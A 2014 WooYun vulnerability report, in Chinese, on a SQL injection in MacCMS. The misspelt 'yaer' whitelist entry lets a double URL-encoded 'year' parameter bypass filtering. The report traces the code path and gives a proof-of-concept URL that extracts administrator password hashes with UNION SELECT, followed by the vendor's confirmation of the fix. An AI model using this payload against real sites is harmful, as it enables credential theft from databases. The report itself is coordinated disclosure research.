当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-066039

漏洞标题:苹果CMS SQL注入一枚无视GPC,无视内置360防护脚本,无视太多..第一发

相关厂商:maccms.com

漏洞作者: magerx

提交时间:2014-06-24 14:05

修复时间:2014-09-22 14:06

公开时间:2014-09-22 14:06

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-24: 细节已通知厂商并且等待厂商处理中
2014-06-24: 厂商已经确认,细节仅向厂商公开
2014-06-27: 细节向第三方安全合作伙伴开放
2014-08-18: 细节向核心白帽子及相关领域专家公开
2014-08-28: 细节向普通白帽子公开
2014-09-07: 细节向实习白帽子公开
2014-09-22: 细节向公众公开

简要描述:

RTRT,开个玩笑罢了

详细说明:

先来看看首页index.php

<?php
/*
'软件名称:苹果CMS
'开发作者:MagicBlack 官方网站:http://www.maccms.com/
'--------------------------------------------------------
'适用本程序需遵循 CC BY-ND 许可协议
'这不是一个自由软件!您只能在不用于商业目的的前提下对程序代码进行修改和使用;
'不允许对程序代码以任何形式任何目的的再发布。
'--------------------------------------------------------
*/
if(!file_exists('inc/install.lock')) { echo '<script>location.href=\'install.php\';</script>';exit; }
require("inc/conn.php");
require(MAC_ROOT.'/inc/common/360_safe3.php');//好恐怖,内置了360,不过对后面的注入没有影响
$m = be('get','m');//这个地方会转义一次,但对我们也没影响
if(strpos($m,'.')){ $m = substr($m,0,strpos($m,'.')); }
$par = explode('-',$m);
$parlen = count($par);
$ac = $par[0];

if(empty($ac)){ $ac='vod'; $method='index'; }

$colnum = array("id","pg","yaer","typeid","classid");//程序员的英文实在是太好了,这个yaer困惑了我好久,就拿他开刀先
if($parlen>=2){
$method = $par[1];
for($i=2;$i<$parlen;$i+=2){
$tpl->P[$par[$i]] = in_array($par[$i],$colnum) ? intval($par[$i+1]) : urldecode($par[$i+1]);//这里可以看到只要后面的参数不在$colnum中【这英文..】,就经过一次urldecode,这就是后面绕过的根本了
}
}
if($tpl->P['pg']<1){ $tpl->P['pg']=1; }
unset($colnum);
$acs = array('vod','art','map','user','gbook','comment','label');
if(in_array($ac,$acs)){
$tpl->P["module"] = $ac;
include MAC_ROOT.'/inc/module/'.$ac.'.php';//继续跟踪下去
}
else{
showErr('System','未找到指定系统模块');
}
unset($par);
unset($acs);

$tpl->ifex();
setPageCache($tpl->P['cp'],$tpl->P['cn'],$tpl->H);
$tpl->run();
echo $tpl->H;
?>


接着我们看maccms/inc/module/下的各个文件,
看到vod.php:

elseif($method=='search')
{
$tpl->P["siteaid"] = 15;
$wd = be("all", "wd");

if(!empty($wd)){
$tpl->P["wd"] = $wd;
}

//if(isN($tpl->P["wd"]) && isN($tpl->P["ids"]) && isN($tpl->P["pinyin"]) && isN($tpl->P["starring"]) && isN($tpl->P["directed"]) && isN($tpl->P["area"]) && isN($tpl->P["lang"]) && isN($tpl->P["year"]) && isN($tpl->P["letter"]) && isN($tpl->P["tag"]) && isN($tpl->P["type"]) && isN($tpl->P["typeid"]) && isN($tpl->P["classid"]) ){ alert ("搜索参数不正确"); }

$tpl->P['cp'] = 'vodsearch';
$tpl->P['cn'] = urlencode($tpl->P['wd']).'-'.$tpl->P['pg'].'-'.$tpl->P['order'].'-'.$tpl->P['by'].'-'.$tpl->P['ids']. '-'.$tpl->P['pinyin']. '-'.$tpl->P['type']. '-'.$tpl->P['year']. '-'.$tpl->P['letter'].'-'.$tpl->P['typeid'].'-'.$tpl->P['classid'].'-'.urlencode($tpl->P['area']) .'-'.urlencode($tpl->P['lang']) .'-'.urlencode($tpl->P['tag']) .'-'.urlencode($tpl->P['starring']) .'-'.urlencode($tpl->P['directed']) ;
echoPageCache($tpl->P['cp'],$tpl->P['cn']);


if (!isN($tpl->P["year"])){//看到没这些地方yaer终于变回year了,哈哈
$tpl->P["key"]=$tpl->P["year"];
$tpl->P["des"] = $tpl->P["des"] ."&nbsp;上映年份为".$tpl->P["year"];
$tpl->P["where"] = $tpl->P["where"] . " AND d_year=". $tpl->P["year"] ." ";
}
if (!isN($tpl->P["letter"])){
$tpl->P["key"]=$tpl->P["letter"];
$tpl->P["des"] = $tpl->P["des"] . "&nbsp;首字母为" . $tpl->P["letter"];
$tpl->P["where"] = $tpl->P["where"] . " AND d_letter='" . $tpl->P["letter"] ."' ";
}
if(!isN($tpl->P["area"])){
$tpl->P["key"]=$tpl->P["area"];
$tpl->P["des"] = $tpl->P["des"] . "&nbsp;地区为" . $tpl->P["area"];
$tpl->P["where"] = $tpl->P["where"] . " AND d_area='" . $tpl->P["area"] ."' ";
}
if (!isN($tpl->P["lang"])){
$tpl->P["key"]=$tpl->P["lang"];
$tpl->P["des"] = $tpl->P["des"] . "&nbsp;语言为" . $tpl->P["lang"];
$tpl->P["where"] = $tpl->P["where"] . " AND d_lang='" . $tpl->P["lang"] ."' ";
}
if (!isN($tpl->P["wd"])) {
$tpl->P["key"]=$tpl->P["wd"] ;
$tpl->P["des"] = $tpl->P["des"] . "&nbsp;名称或主演为" . $tpl->P["wd"];
$tpl->P["where"] = $tpl->P["where"] . " AND ( instr(d_name,'".$tpl->P['wd']."')>0 or instr(d_starring,'".$tpl->P['wd']."')>0 ) ";
}

if (!isN($tpl->P["pinyin"])){
$tpl->P["key"]=$tpl->P["pinyin"] ;
$tpl->P["des"] = $tpl->P["des"] . "&nbsp;拼音为" . $tpl->P["pinyin"];
$tpl->P["where"] = $tpl->P["where"] . " AND instr(d_enname,'".$tpl->P['pinyin']."')>0 ";
}

if (!isN($tpl->P["starring"])){
$tpl->P["key"]=$tpl->P["starring"] ;
$tpl->P["des"] = $tpl->P["des"] . "&nbsp;主演为" . $tpl->P["starring"];
$tpl->P["where"] = $tpl->P["where"] . " AND instr(d_starring,'".$tpl->P['starring']."')>0 ";
}

if (!isN($tpl->P["directed"])){
$tpl->P["key"]=$tpl->P["directed"] ;
$tpl->P["des"] = $tpl->P["des"] . "&nbsp;导演为" . $tpl->P["directed"];
$tpl->P["where"] = $tpl->P["where"] . " AND instr(d_directed,'".$tpl->P['directed']."')>0 ";
}

if (!isN($tpl->P["tag"])){
$tpl->P["key"]=$tpl->P["tag"] ;
$tpl->P["des"] = $tpl->P["des"] . "&nbsp;Tag为" . $tpl->P["tag"];
$tpl->P["where"] = $tpl->P["where"] . " AND instr(d_tag,'".$tpl->P['tag']."')>0 ";
}

$tpl->P['typepid'] = 0;
if(!isN($tpl->P["typeid"])){
$typearr = $MAC_CACHE['vodtype'][$tpl->P['typeid']];
if (is_array($typearr)){
$tpl->P['typepid'] = $typearr['t_pid'];
if (isN($tpl->P["key"])){ $tpl->P["key"]= $typearr["t_name"]; }
$tpl->P["des"] = $tpl->P["des"] . "&nbsp;分类为" . $typearr["t_name"];
$tpl->P["where"] = $tpl->P["where"] . " AND d_type in (" . $typearr["childids"] . ") ";
}
unset($typearr);
}
if(!isN($tpl->P["classid"])){
$classarr = $MAC_CACHE['vodclass'][$tpl->P['classid']];
if (is_array($classarr)){
if (isN($tpl->P["key"])){ $tpl->P["key"]= $classarr["c_name"]; }
$tpl->P["des"] = $tpl->P["des"] . "&nbsp;剧情分类为" . $classarr["c_name"];
$tpl->P["where"] = $tpl->P["where"] . ' AND instr(d_class,\','.$tpl->P['classid'].',\')>0 ';
}
unset($classarr);
}


$db = new AppDb($MAC['db']['server'],$MAC['db']['user'],$MAC['db']['pass'],$MAC['db']['name']);
$tpl->H = loadFile(MAC_ROOT_TEMPLATE."/vod_search.html");
$tpl->mark();//以上语句均为看到$tpl->P["year"]有任何过滤,接着跟踪mark()看看
$tpl->pageshow();

$colarr = array('{page:des}','{page:key}','{page:now}','{page:order}','{page:by}','{page:wd}','{page:wdencode}','{page:pinyin}','{page:letter}','{page:year}','{page:starring}','{page:starringencode}','{page:directed}','{page:directedencode}','{page:area}','{page:areaencode}','{page:lang}','{page:langencode}','{page:typeid}','{page:typepid}','{page:classid}');
$valarr = array($tpl->P["des"],$tpl->P["key"],$tpl->P["pg"],$tpl->P["order"],$tpl->P["by"],$tpl->P["wd"],urlencode($tpl->P["wd"]),$tpl->P["pinyin"],$tpl->P["letter"],$tpl->P['year']==0?'':$tpl->P['year'],$tpl->P["starring"],urlencode($tpl->P["starring"]),$tpl->P["directed"],urlencode($tpl->P["directed"]),$tpl->P["area"],urlencode($tpl->P["area"]),$tpl->P["lang"],urlencode($tpl->P["lang"]),$tpl->P['typeid'],$tpl->P['typepid'] ,$tpl->P['classid'] );

$tpl->H = str_replace($colarr, $valarr ,$tpl->H);
unset($colarr,$valarr);
$linktype = $tpl->getLink('vod','search','',array('typeid'=>$tpl->P['typepid']));
$linkyear = $tpl->getLink('vod','search','',array('year'=>''));
$linkletter = $tpl->getLink('vod','search','',array('letter'=>''));
$linkarea = $tpl->getLink('vod','search','',array('area'=>''));
$linklang = $tpl->getLink('vod','search','',array('lang'=>''));
$linkclass = $tpl->getLink('vod','search','',array('classid'=>''));


$linkorderasc = $tpl->getLink('vod','search','',array('order'=>'asc'));
$linkorderdesc = $tpl->getLink('vod','search','',array('order'=>'desc'));
$linkbytime = $tpl->getLink('vod','search','',array('by'=>'time'));
$linkbyhits = $tpl->getLink('vod','search','',array('by'=>'hits'));
$linkbyscore = $tpl->getLink('vod','search','',array('by'=>'score'));

$tpl->H = str_replace(array('{page:linkyear}','{page:linkletter}','{page:linkarea}','{page:linklang}','{page:linktype}','{page:linkclass}','{page:linkorderasc}','{page:linkorderdesc}','{page:linkbytime}','{page:linkbyhits}','{page:linkbyscore}',), array($linkyear,$linkletter,$linkarea,$linklang,$linktype,$linkclass,$linkorderasc,$linkorderdesc,$linkbytime,$linkbyhits,$linkbyscore) ,$tpl->H);

}


mark()函数在/maccms/inc/common/template.php 914行:

function mark()
{
$this->headfoot();
$this->labelload();
$this->labellink();
$this->base();
$this->matrix();

$this->H = str_replace('{maccms:sitetid}', $this->P['sitetid'] ,$this->H);
$this->H = str_replace('{maccms:siteid}', $this->P['siteid'] ,$this->H);

$labelRule = buildregx('{maccms:([\S]+)\s+(.*?)}([\s\S]+?){/maccms:\1}',"");
preg_match_all($labelRule ,$this->H,$matches1);

for($i=0;$i<count($matches1[0]);$i++)
{
$this->markval = $matches1[0][$i];
$this->markname = $matches1[1][$i];
$this->markpar = $matches1[2][$i];
$this->markdes = $matches1[3][$i];
$this->mark_sql();//到这里mark_sql()就将year传入查询语句

switch($this->markname)
{
case "php":
$this->runphp();
break;
case "area":
case "lang":
case "year":
case "letter":
case "tag":
$this->expandlist();
break;
case "menu":
case "class":
case "art":
case "vod":
case "topic":
case "link":
case "gbook":
case "comment":
$this->datalist();//到这个地方漏洞就触发了
break;
}
}
unset($matches1);
replaceTplCustom();
if($GLOBALS['MAC']['app']['compress']==1){
$this->H = compress_html($this->H);
}
}


程序员写的代码实在是太难读了,我们直观的看下mysql日志:

maccms2.png


所以我们从日志里看到,我们该如何利用,直接将year二次URL编码绕过一切检测:


因为注入太多了,我们这次仅拿写错的year开头。
POC:

http://localhost/maccms8_mfb/index.php?m=vod-search-year-2012%2520and%25201%253D2%2520union%2520select%2520m_password%2520from%2520mac_manager%2520order%2520by%25201%2520desc%2523-des-2013-where-and%25201%253D1-siteid-20133

漏洞证明:

maccms2.png


maccms1.png


maccms3.png

修复方案:

~。~

版权声明:转载请注明来源 magerx@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-06-24 18:39

厂商回复:

year 写成 yaer 造成失误已经修改这个参数名 。 还有其他注入请及时通知下,谢谢。

最新状态:

暂无